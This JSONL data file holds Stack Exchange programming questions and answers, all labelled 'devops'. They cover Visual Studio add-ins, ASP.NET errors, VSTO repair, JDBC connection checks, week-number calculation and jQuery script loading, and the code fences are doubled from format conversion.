{"id": "hf_d3efc81d9913", "question": "<p>I want to write an Add-In for Visual Studio that provides instant search for the solution explorer. So you press a key combination and while you are typing a list first containing all files of the solution explorer gets narrowed down.</p>\n\n<p>But how can I get access to the solution explorer using C#? Does anyone have some good resources?</p>\n\n<hr>\n\n<p>Edit: I edited the title, so that it more relates to the content, since all of you posted already made plug-ins.</p>\n", "question_body": "", "answer": "Why re-invent the wheel? DevExpress + Microsoft tied up to offer\nCodeRush Express\nfor free @ PDC2008 that does just that if I understand you correctly.\nAFAIR I think the magic key combo for Jump to File is Ctrl+Alt+F and it does substring matches too. I tried it and it worked for me. Pretty nifty. Here's\nthe link\nto a recording in case I goofed up on the actual keystroke... some really nice tips in it.\nUpdate\n: Wrote\na blog post\nfor those who're short of time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.129187"}
{"id": "hf_6f76eedcb442", "question": "<p>I am getting the following error while loading a page.</p>\n\n<p>[HttpException (0x80004005): Cannot use a leading .. to exit above the top directory.]</p>\n\n<p>No idea what to do ? Can anyone help me  ?</p>\n", "question_body": "", "answer": "I'm guessing you have done something like this:\n```\n```\nResponse.Redirect(\"../SomePage.aspx\");\n```\n```\nWhen using relative paths, you can only navigate to pages that are in the same Virtual Directory as the one the page making the request is in. What you have done is called this from a page that is at the top of the Virtual Directory tree. So you have some options:\nCorrect your url so that it does not point to a higher level. ie: remove the\n```\n../\n```\nUse a full url. ie:\n```\nhttp://www.example.com/SomePage.aspx\n```\nUse IIS to set the Virtual Directory at a higher level.\nFor Option 3:\nOpen up IIS manager.\nGo to the directory that the page is in and right click/properties.\nOn the Virtual Directory tab select Remove.\nClose the dialogue and right click/properties on the directory you do want to be the root.\nOn the Virtual Directory tab select Add", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.153444"}
{"id": "hf_92688ed39c69", "question": "<p>When I try to create a Excel 2007 Workbook project, in Visual Studio 2008, I get the following errormessage:</p>\n\n<blockquote>\n  <p>Project cannot be created because the \"Excel Visual Studio Design-Time Adaptor Add-in\" is not working correctly. Excel might have disabled the add-in or made it inactive, or all add-ins might be disabled in your Trust Center settings. Check the add-in status in Excel Options. If the add-in is active and enabled, reinstall or repair Visual Studio Tools for Office.</p>\n</blockquote>\n\n<p>I have verified that the add-in is not inactive or disabled and I have tried to repair and uninstall/reinstall VSTO several times.</p>\n\n<p>What to do?</p>\n", "question_body": "", "answer": "Just in case you haven't checked the trust settings, this\nMSDN page\ndescribes how to.\nI came across this on a MSDN forum:\nFor the repair to work, you'll have to\n  run the VS Command Prompt with Admin\n  Priviledges (right click, run as\n  administrator). Then run this command\n  line:\nC:>AddinUtil\n  -AddInRoot:\"%CommonProgramFiles%\\Microsoft\n  Shared\\VSTA\\AppInfoDocument\" -Rebuild\nIf it still doesn't work, you may also\n  have a corrupt pipleline store, which\n  can be fixed like this:\nC:>AddinUtil\n  -PipelineRoot:\"%CommonProgramFiles%\\Microsoft\n  Shared\\VSTA\\Pipeline\" -Rebuild\nYou'll get one warning from that\n  command but that is expected.\nFailing that, I think you will have to run a repair on the Visual Studio 2008 installation (put the installation DVD in a drive, and select the repair option).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.177855"}
{"id": "hf_720c76fdcd50", "question": "<p>I want to be able to change the status message for Live Messenger, but everything I've found only works for the music message (see <a href=\"http://coldacid.net/images/screenshots/live-messenger-status-and-music-messages\" rel=\"nofollow noreferrer\">this screenshot</a> to see the difference between the two).</p>\n\n<p>It is possible to do this, as there are programs that have the ability to change it, and some alternate clients for Live Messenger can also set the status message themselves. I just need to know how to do this myself.</p>\n\n<p><strong>Clarification:</strong> The solution needs to work with the latest versions of Live Messenger (i.e. the wave 3 beta). Working with older versions is good too, but it's the 14.x versions that I'm working with.</p>\n", "question_body": "", "answer": "Of course, from any conversation windows, a simple \"\n```\n/psm new message\n```\n\" would update the message status field.\nBut\nprogrammatically\n:\nYou will find here a\nVB source file\nwhich sent a new message to the PSM (Personal Satus Message) of your Live Messenger windows. May be that would help.\nextract:\n```\n```\nAttribute VB_Name = \"Form1\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nPrivate Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPrivate Declare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long\nPrivate Declare Function PostMessage Lib \"user32\" Alias \"PostMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPrivate Const WM_COMMAND = &H111\nPrivate Const WM_CHAR = &H102\nPrivate Const VK_RETURN = &HD\n\nPrivate Function SetPSM(ByVal text As String) As Boolean\n   Dim hParentWnd, hChildWnd As Long\n   SetPSM = False\n   hParentWnd = FindWindow(\"MSBLWindowClass\", vbNullString)\n   If hParentWnd <> 0 Then\n      hChildWnd = FindWindowEx(hParentWnd, 0, \"DirectUIHWND\", vbNullString)\n      If hChildWnd <> 0 Then\n         PostMessage hParentWnd, WM_COMMAND, 56606, 0\n         Dim i As Integer\n         For i = 1 To Len(text)\n            Call PostMessage(hChildWnd, WM_CHAR, Asc(Mid$(text, i, 1)), 0)\n         Next i\n         PostMessage hChildWnd, WM_CHAR, VK_RETURN, 0\n         SetPSM = True\n      End If\n   End If\nEnd Function\n\nPrivate Sub cmdSetPSM_Click()\n   SetPSM txtPSM.text\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.225305"}
{"id": "hf_ad227ac0b57f", "question": "<p>Can we programatically login to Yahoo services with our ID, send instant message, use webcam service and so on directly from our program?</p>\n", "question_body": "", "answer": "Yahoo Messenger has a\nplug-in SDK\n. It is hard to know if this meets your needs, since you are not very clear.\nIf you are looking to access Yahoo messenger services through Java for instance, you could try an\nAPI\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.257898"}
{"id": "hf_04d30bb4858b", "question": "<p>Are there any obvious productivity gains in developing using webforms or MVC?</p>\n", "question_body": "", "answer": "No. Personally, I find MVC works much more like my brain does with pretty clear separation of what goes where and why. I banged out a complete prototype commerce site with MVC in a few weeks that would've taken me, I'm sure, at least double that using webforms.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.306247"}
{"id": "hf_26aceb25b4eb", "question": "<p>Are there anyone with experiences/examples on releasing early/releasing often for commercial software? Does it work?</p>\n\n<p>I was thinking of VMware where they have a lot of revisions release between each major version. And the installation experience was awful, sometimes they would break the existing VMs and other times the VMware Tools inside guest OSes would malfunction/not install. It's just horrible.</p>\n\n<p>And I was thinking of ClickOnce deployments as well, since with ClickOnce when you update your software, all clients automatically gets notified of the release, and with one-click they're updated to the new version. If your software has bugs, then they'll automatically \"upgraded\" to get those bugs as well.</p>\n\n<p>Do you have experience\\example\\suggestion to applying the release early/release often principle to commercial software?</p>\n\n<p>I'm looking to apply it to one.</p>\n", "question_body": "", "answer": "I think it always will depend on your market or customer base. Changing/upgrading software is always painful and even more painful in some environments and companies. Fast release cycles can be disruptive. These disruptions often extend to your internal operations too, depending on how well feature creep is managed by marketing/management.\nSo, the classic ever true 'it depends' answer rings again.\nIf you are really adding value to the product, then customers especially new ones will want it. The best case, is to remove the upgrade change pain, as in, it works the same, but better in obvious ways. Great.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.354356"}
{"id": "hf_686682403e86", "question": "<p>What benchmark would test how well my hardware rates, for my ASP.NET, SQL Server, IIS product?</p>\n\n<p>I have two servers, one runs my code much faster than the other and I believe their configurations are close to equivalent and therefore I want to benchmark the two.</p>\n\n<p>I <strong>do not</strong> want this question to become one about the hardware.</p>\n\n<p>This question is asking how I would test how good my hardware rates, for my software.</p>\n\n<p>In other words, a 3D benchmark doesn't accurately rate my system for an ASP.NET/SQL Server app. </p>\n", "question_body": "", "answer": "After clarification, then I think you are looking for a\nstress testing application\n:\nYou can host your application on the two boxes, and then use another box to mass-send requests to it with a stress test app.\nThen you can look at the statistics, e.g. Hits per seconds. Responses per second, etc.\nI have never used one myself before but\nGoogle knows some\n.\nWhat do you mean? Could you clarify?\nPCMark benchmarks the hardware, not the software.\nAre you looking for a Profiler?\nThe company that build Resharper and Teamcity,\nhas one\n.\nIt is a kind of software benchmark.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.378760"}
{"id": "hf_443401215b27", "question": "<p>There seem to be 3 ways of telling GCC to weak link a symbol:</p>\n\n<ul>\n<li><code>__attribute__((weak_import))</code></li>\n<li><code>__attribute__((weak))</code></li>\n<li><code>#pragma weak symbol_name</code></li>\n</ul>\n\n<p>None of these work for me:</p>\n\n<pre><code>#pragma weak asdf\nextern void asdf(void) __attribute__((weak_import, weak));\n...\n{\n    if(asdf != NULL) asdf();\n}\n</code></pre>\n\n<p>I always get a link error like this:</p>\n\n<pre>Undefined symbols:\n  \"_asdf\", referenced from:\n      _asdf$non_lazy_ptr in ccFA05kN.o\nld: symbol(s) not found\ncollect2: ld returned 1 exit status</pre>\n\n<p>I am using GCC 4.0.1 on OS X 10.5.5. What am I doing wrong?</p>\n", "question_body": "", "answer": "From the gcc doc manual:\nweak\nThe weak attribute causes the declaration to be emitted as a weak\n  symbol rather than a global.  This is primarily useful in defining\n  library functions which can be overridden in user code, though it\n  can also be used with non-function declarations.  Weak symbols are\n  supported for ELF targets, and also for a.out targets when using\n  the GNU assembler and linker.\nwhich means that an object is legitimated to overwrite a weak symbol (defined in another object/library) without getting errors at link time. What is unclear is whether you are linking the library with the\nweak\nsymbol or not. It's seems that both you have not defined the symbol and the library is not properly linked.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.418108"}
{"id": "hf_118c9ca23a39", "question": "<p>I read somewhere in the Microsoft documentation that the content of the ASP.NET's <strong>web.config is cached</strong>. If that is true, <strong>where</strong> is it cached - in <strong>memory or on disk</strong>?</p>\n\n<p>And a follow-up question: are there any performance considerations I have to make, if I have to access the web.config intensively?</p>\n", "question_body": "", "answer": "I think that the web.config is cached in memory (in object instances from System.Web.Configuration). Those are reloaded when the .config file is changed (and thus reloading your web app).\nHitting those objects is unlikely to give you a performance bottleneck. But if you have to do parsing etc, you might want to hold on the the parsed objects.\n[Extra] I good practice (I think at least) is to create static properties in your global.asax.cs file for you appsettings. You can instantiate those properties in the application_start method and use them through out your web app. This prevents you from using hard-coded string (configuration keys) throughout your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.457480"}
{"id": "hf_637d5f57df14", "question": "<p><strong>Duplicate of <a href=\"https://stackoverflow.com/questions/371/how-do-you-make-sure-email-you-send-programmatically-is-not-automatically-marke\">How do you make sure email you send programmatically is not automatically marked as spam?</a></strong></p>\n\n<p>Initially I planned to send emails from my website as html (i.e. content-type: text/html;) but I just thought about something today, won't it better to send emails as plain text, i.e. content-type: text/plain;, so that the chances of my mail messages ending up in the spam/junk folder become less, I was thinking that this must be one the rules used by spam filters on popular webmail services like gmail, yahoo and hotmail, what do you think?</p>\n", "question_body": "", "answer": "In my experience, most anti-spam systems will score HTML's Hamminess slightly below plaintext, but there are much more important things to consider that affect deliverability:\nmake sure you have a valid Reverse DNS configuration for your mail server, or you will be undeliverable to many domains.\ninvestigate adding an\nSPF\nrecord to your DNS zone file. This helps, particularly with GMail.\nLook into\nDomainKeys\n, if it's available on your platform. This is essentially a cryptographic signature attached to your outbound mail, so it proves that you are the person who sent it.\nReview your message content and make sure you aren't using any words (particularly in the subject line) that are obvious spam indicators.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.480691"}
{"id": "hf_87f0d3954c3d", "question": "<p>After logging in using the Login control the browser loses the session.  This only occurs in Internet Explorer 7.  Has anyone else run into this problem?  If so, do you know a work around?</p>\n", "question_body": "", "answer": "I would suggest downloading a tool like\nieHTTPHeaders\nto trace the request/respnonse headers in IE and seeing at what point either IE stops sending the cookie or the server clears it.\nYou should see a POST to your login page and the server should respond with a Set-Cookie:, and that cookie should be in every subsequent request.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.504431"}
{"id": "hf_9953e2901652", "question": "<p>How do I get a list of all the headings in a word document by using VBA?</p>\n", "question_body": "", "answer": "You mean like this\ncreateOutline\nfunction (which actually copy all headings from a source word document into a new word document):\n(I believe the\n```\nastrHeadings = docSource.\nGetCrossReferenceItems\n(wdRefTypeHeading)\n```\nfunction is the key in this program, and should allow you to retrieve what you are asking for)\n```\n```\nPublic Sub CreateOutline()\n    Dim docOutline As Word.Document\n    Dim docSource As Word.Document\n    Dim rng As Word.Range\n    \n    Dim astrHeadings As Variant\n    Dim strText As String\n    Dim intLevel As Integer\n    Dim intItem As Integer\n        \n    Set docSource = ActiveDocument\n    Set docOutline = Documents.Add\n    \n    ' Content returns only the main body of the document, not the headers/footer.        \n    Set rng = docOutline.Content\n    ' GetCrossReferenceItems(wdRefTypeHeading) returns an array with references to all headings in the document\n    astrHeadings = docSource.GetCrossReferenceItems(wdRefTypeHeading)\n    \n    For intItem = LBound(astrHeadings) To UBound(astrHeadings)\n        ' Get the text and the level.\n        strText = Trim$(astrHeadings(intItem))\n        intLevel = GetLevel(CStr(astrHeadings(intItem)))\n        \n        ' Add the text to the document.\n        rng.InsertAfter strText & vbNewLine\n        \n        ' Set the style of the selected range and\n        ' then collapse the range for the next entry.\n        rng.Style = \"Heading \" & intLevel\n        rng.Collapse wdCollapseEnd\n    Next intItem\nEnd Sub\n\nPrivate Function GetLevel(strItem As String) As Integer\n    ' Return the heading level of a header from the\n    ' array returned by Word.\n    \n    ' The number of leading spaces indicates the\n    ' outline level (2 spaces per level: H1 has\n    ' 0 spaces, H2 has 2 spaces, H3 has 4 spaces.\n        \n    Dim strTemp As String\n    Dim strOriginal As String\n    Dim intDiff As Integer\n    \n    ' Get rid of all trailing spaces.\n    strOriginal = RTrim$(strItem)\n    \n    ' Trim leading spaces, and then compare with\n    ' the original.\n    strTemp = LTrim$(strOriginal)\n    \n    ' Subtract to find the number of\n    ' leading spaces in the original string.\n    intDiff = Len(strOriginal) - Len(strTemp)\n    GetLevel = (intDiff / 2) + 1\nEnd Function\n```\n```\nUPDATE by @kol on March 6, 2018\nAlthough\n```\nastrHeadings\n```\nis an array (\n```\nIsArray\n```\nreturns\n```\nTrue\n```\n, and\n```\nTypeName\n```\nreturns\n```\nString()\n```\n) I get a\n```\ntype mismatch\n```\nerror when I try to access its elements in VBScript (v5.8.16384 on Windows 10 Pro 1709 16299.248). This must be a VBScript-specific problem, because I can access the elements if I run the same code in Word's VBA editor. I ended up iterating the lines of the TOC, because it works even from VBScript:\n```\n```\nFor Each Paragraph In Doc.TablesOfContents(1).Range.Paragraphs\n  WScript.Echo Paragraph.Range.Text\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.575162"}
{"id": "hf_e3df7a7d26f9", "question": "<p>How do I check for an open connection in jdbc for oracle database?</p>\n\n<p>Note: <code>conn.isClosed()</code> cannot be used for this.</p>\n", "question_body": "", "answer": "Something like:\n```\n```\nStatement stmt = null;\nResultSet rs =null;\ntry {\n   stmt = conn.createStatement();\n   // oracle\n   rs = stmt.executeQuery(\"SELECT 1 FROM Dual\");\n   // others\n   // rs = stmt.executeQuery(\"SELECT 1\");\n   if (rs.next())\n      return true; // connection is valid\n}\ncatch (SQLException e) {\n   // TODO : log the exception ...\n   return false;\n}\nfinally {\n   if (stmt != null) stmt.close();\n   if (rs != null) rs.close();\n}\n```\n```\nNote that if the connection is coming from a Connection Pool (in a Application Server for example) then the Pool may have a mechanism to check if a connection is valid or not. With BEA, you specify the SELECT in the \"test-on-reserve\" property.\nIf you are developing your own pool then you may want to take a look at how others are doing it (ex.\nProxool\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.611320"}
{"id": "hf_381707395b1c", "question": "<p>I have some elements on a page which are draggable. These same elements have a click event which navigates to another page. I'm trying to determine the best way of preventing the click event from firing if the user is dragging but still allow the click event if not dragging. Anyone have any ideas of the best way to accomplish this?</p>\n", "question_body": "", "answer": "Something like the following might do the trick (and prevent the click event to be fired up)\n```\n```\nnew Draggable('tag',  \n    {\n        revert:function()\n        {\n            $('tag').onclick = function(){return false;};\n            setTimeout('$(\\'tag\\').onclick = function(){return true;}','500');  \n            return true;\n        }\n    }\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.686863"}
{"id": "hf_2c318ba21482", "question": "<p>I'm listening to podcast #19 and Joel and Jeff are arguing about running SQL Server on the same machine as your IIS installation. I have to say that it sounds like Jeff folded to Joel, but then again I am only guessing which one is which. ;)</p>\n\n<p>What are the pros and cons of each? Which is better?</p>\n\n<p>I typically run them separately (Joel's preference) but I can see Jeff's point where the two are closer to each other.</p>\n", "question_body": "", "answer": "For\nsecurity purposes\nit is good to separate web and database machines, preferably having a firewall between the two. A web server is exposed to the world at large. Unfortunately there are people who take pleasure in stealing or damaging the information contained on those servers.\nThen there is the\nperformance aspect\n. It's common knowledge that SQL Server loves memory. So does IIS, particularly if the web-site makes extensive use of caching and session information. So you have a potential conflict here as well. Having a dedicated machine for SQL Server is clearly better than having a single machine doing all the load.\nThen, separation allows\neasier identification of the need to tune\nand the ability to tune individual hardware components.\nTo sum up, a machine powerful enough to cope with the demands of both IIS and SQL Server in a live environment\nwon't necessarily be cheaper than two machines\nspecced for the specific requirements of each server.\n(Jeff Atwood mentioned in one of the podcasts, that upgrading the one machine would have cost the same as getting a second machine)\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.718302"}
{"id": "hf_bd204e23c2f5", "question": "<p>is there an easy way to reset ALL text fields in an asp.net form - like the reset button for html controls?</p>\n", "question_body": "", "answer": "Some solutions are listed here:\nClear a form in ASP.Net\nI was looking for the same solution in ASP.Net to clear my form on the click and I landed on this post. I looked at all the comments and replies. I decided to use the plain old input tag and created a HTML reset button .It worked like a charm, no postbacks, not javascripts. If there is any catch, I couldn't find it...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.742395"}
{"id": "hf_61db84555735", "question": "<p>If I have a date, how do I calculate the week number for that date within that year?</p>\n<p>For example, in 2008, January 1st to January 6th are in week 1 and January 7th to the 13th are in week 2, so if my date was January 10th 2008, my week number would be 2.</p>\n<p>An algorithm would be great to get me started and sample code would also help - I'm developing in C++ on Windows.</p>\n<h3>Related:</h3>\n<blockquote>\n<p><a href=\"https://stackoverflow.com/questions/348880/getting-week-number-off-a-date-in-ms-sql-server-2005\">Getting week number off a date in MS SQL Server 2005?</a></p>\n</blockquote>\n", "question_body": "", "answer": "Pseudocode:\n```\n```\nint julian = getDayOfYear(myDate)  // Jan 1 = 1, Jan 2 = 2, etc...\nint dow = getDayOfWeek(myDate)     // Sun = 0, Mon = 1, etc...\nint dowJan1 = getDayOfWeek(\"1/1/\" + thisYear)   // find out first of year's day\n// int badWeekNum = (julian / 7) + 1  // Get our week# (wrong!  Don't use this)\nint weekNum = ((julian + 6) / 7)   // probably better.  CHECK THIS LINE. (See comments.)\nif (dow < dowJan1)                 // adjust for being after Saturday of week #1\n    ++weekNum;\nreturn (weekNum)\n```\n```\nTo clarify, this algorithm assumes you number your weeks like this:\n```\n```\nS  M  T  W  R  F  S\n            1  2  3    <-- week #1\n4  5  6  7  8  9 10    <-- week #2\n[etc.]\n```\n```\ngetDayOfWeek() and getDayOfYear() are standard date-object operations in most languages.  If yours doesn't have them, you can count-forward from some known date (Jan 1, 1970 is a common one), after looking up to see what day of the week it was.\nIf you're going to implement your own date counting routines, remember that years that are divisible by 100 are\nNOT\nleap years, unless they are also divisible by 400.  So 1900 was not a leap year, but 2000 was.  If you're going to work far back in time, you have to mess with Gregorian vs Julian calendars, etc., see\nWikipedia\nfor loads of info on that.\nThis link\ntalks about date/time functions in Windows/C++ in greater detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.784384"}
{"id": "hf_5e32f75b75e7", "question": "<p>I am modifying some code and came across a declaration that I am having trouble understanding:</p>\n\n<pre><code>int *userMask[3][4] = {0};\n</code></pre>\n\n<p>What exactly is this pointing to?  Is it a matrix where every element is a pointer?  Or is it pointing to a matrix of size [3][4]?</p>\n\n<p>Thanks</p>\n\n<hr>\n\n<p>I guess my question is how <code>userMask[2][maskElement][user]</code> can work when it is declared as <code>int</code>.  Wouldn't userMask have to be <code>int[]</code> for that to work properly?  I must not be understanding this right...</p>\n\n<p>On a side note, thanks for your suggestion about cdecl Robert.  However, does anyone know how to use it in an XP command prompt?  All I can get is syntax error :(</p>\n", "question_body": "", "answer": "This is a two-dimensional array where each element is a pointer to an\n```\nint\n```\n, and all the pointers are initialised to zero.\nIn your follow-up, you show that the array is used like this:\n```\n```\nif(userMask[2][maskElement][user] && blah)\n    result = true;\n```\n```\nIn this case, each element in\n```\nuserMask\n```\nshould actually point to an array of\n```\nint\n```\ns. (An\n```\nint*\n```\ncan point to a single\n```\nint\n```\nor an array of\n```\nint\n```\ns). To determine this, check the code that assigns values to\n```\nuserMask\n```\n. For example, it is possible to write:\n```\n```\nint userArray[2] = { 10, 20 };\n\nuserMask[0][0] = userArray; // userMask[0][0] points to the\n                            // first element of userArray.\n```\n```\nThen the following code indexes into\n```\nuserArray\n```\n:\n```\n```\nint value = userMask[0][0][1]; // sets value = userArray[1], giving 20.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.808940"}
{"id": "hf_b6632fa1b8d1", "question": "<p>How have you guys handled working with jQuery includes </p>\n\n<pre><code>&lt;script type=\"text/javascript\" src=\"jquery.js\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>in Asp.Net MVC when working with partial views/view controls?  Basically, I don't want to make the jquery include in the master page because I am not using jquery in all of my views, but I also want an easy way for a user control to be able to create the jquery include in the right location ('head') without creating duplicate jquery includes.</p>\n\n<p>The best way would be to use a ScriptManaager, but I do not want to rely on ASP.Net Ajax for this in my application.  Is there a 'lightweight' ScriptManager that I could use that would also allow the newly released intellisense for jquery?  </p>\n\n<p>I've created a WebControl that provides this functionality, but I don't get the intellisense support for VS2008, which I would really like.</p>\n\n<p>Hope this makes sense.</p>\n", "question_body": "", "answer": "You could always do this:\nmake a lightweight util.js that is in every page, in it you could put various common stuff, plus this:\n```\n```\nfunction loadJSInclude(scriptPath, callback)\n{\n    var scriptNode = document.createElement('SCRIPT');\n    scriptNode.type = 'text/javascript';\n    scriptNode.src = scriptPath;\n\n    var headNode = document.getElementsByTagName('HEAD');\n    if (headNode[0] != null)\n        headNode[0].appendChild(scriptNode);\n\n    if (callback != null)    \n    {\n        scriptNode.onreadystagechange = callback;            \n        scriptNode.onload = callback;\n    }\n}\n```\n```\nThen, in your view, just place:\n```\n```\n<script type='text/javascript'>\n    if(typeof(someJqueryObject) == \"undefined\")        \n        loadJSInclude('jquery.js', doYourStuff);        \n    else        \n        doYourStuff();\n\n    function doYourStuff()\n    {\n        // jQuery will be loaded now, so you can do your stuff here.\n    }\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.869238"}
{"id": "hf_838a0ea92ae5", "question": "<p>The CSS Friendly Control Adapters for ASP.NET are great for creating markup that is easy to style.  A big benefit of the GridView adapter is that it generates THEAD, TBODY, and TFOOT tags, which allow you to do some really great things with libraries like jQuery - for instance, <a href=\"http://tablesorter.com/docs/\" rel=\"nofollow noreferrer\">Tablesorter</a> for client-side table sorting.</p>\n\n<p>The problem is that it seems to be a global on/off for the adapters through the CSSFriendlyAdapters.browser file.  What do I do if I already have a slew of GridViews currently in production and only want to use the CSS Friendly Adapters for a new one?</p>\n\n<p>So I would be interested in two types of solutions:</p>\n\n<p>1) A way to extend or modify GridView (a new tag is acceptable) to output THEAD and TBODY tags.</p>\n\n<p>2) A way to conditionally apply or disable CSS Friendly Control Adapters.</p>\n", "question_body": "", "answer": "CSS Friendly...\nDisabling Adapters\nIf you explicitly add\n  AdapterEnabled=\"false\" to your\n  server-side tag, these sample adapters\n  will attempt to use the ASP.NET\n  framework's native rendering for the\n  control. Beware: this is not supported\n  and often does not work well.\n  Fundamentally, the framework does not\n  support disabling adapters on a per\n  control basis. The AdapterEnabled\n  attribute is only intended to be used\n  experimentally.\nSource\nAlternatively, you can create a class that derives from GridView and overrides the RenderChildren method.  It may take some experimentation to figure out how to make this work.  I haven't looked at how the controls are presented in the GridView to give you any ideas in this regard.  Presumably, you'll just need to figure out which rows are header/foot and render / around them and  around the others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.920541"}
{"id": "hf_9d6c957e531d", "question": "<p>According to <a href=\"http://www.scalabium.com/faq/dct0150.htm\" rel=\"noreferrer\">this page,</a> it's possible to use <code>TClientDataset</code> as an in-memory dataset, completely independent of any actual databases or files.  It describes how to setup the dataset's table structure and how to load data into it at runtime.  But when I tried to follow its instructions in D2009, step 4 (<code>table.Open</code>) raised an exception.  It said that it didn't have a provider specified.</p>\n\n<p>The entire point of the example on that page is to build a dataset that doesn't need a provider.  Is the page wrong, is it outdated, or am I missing a step somewhere?  And if the page is wrong, what do I need to use instead to create a completely independent in-memory dataset?  I've been using <code>TJvMemoryData</code>, but if possible I'd like to reduce the amount of extra dependencies that my dataset adds into my project.</p>\n", "question_body": "", "answer": "You can use\n```\ntable.CreateDataSet\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:42.997833"}
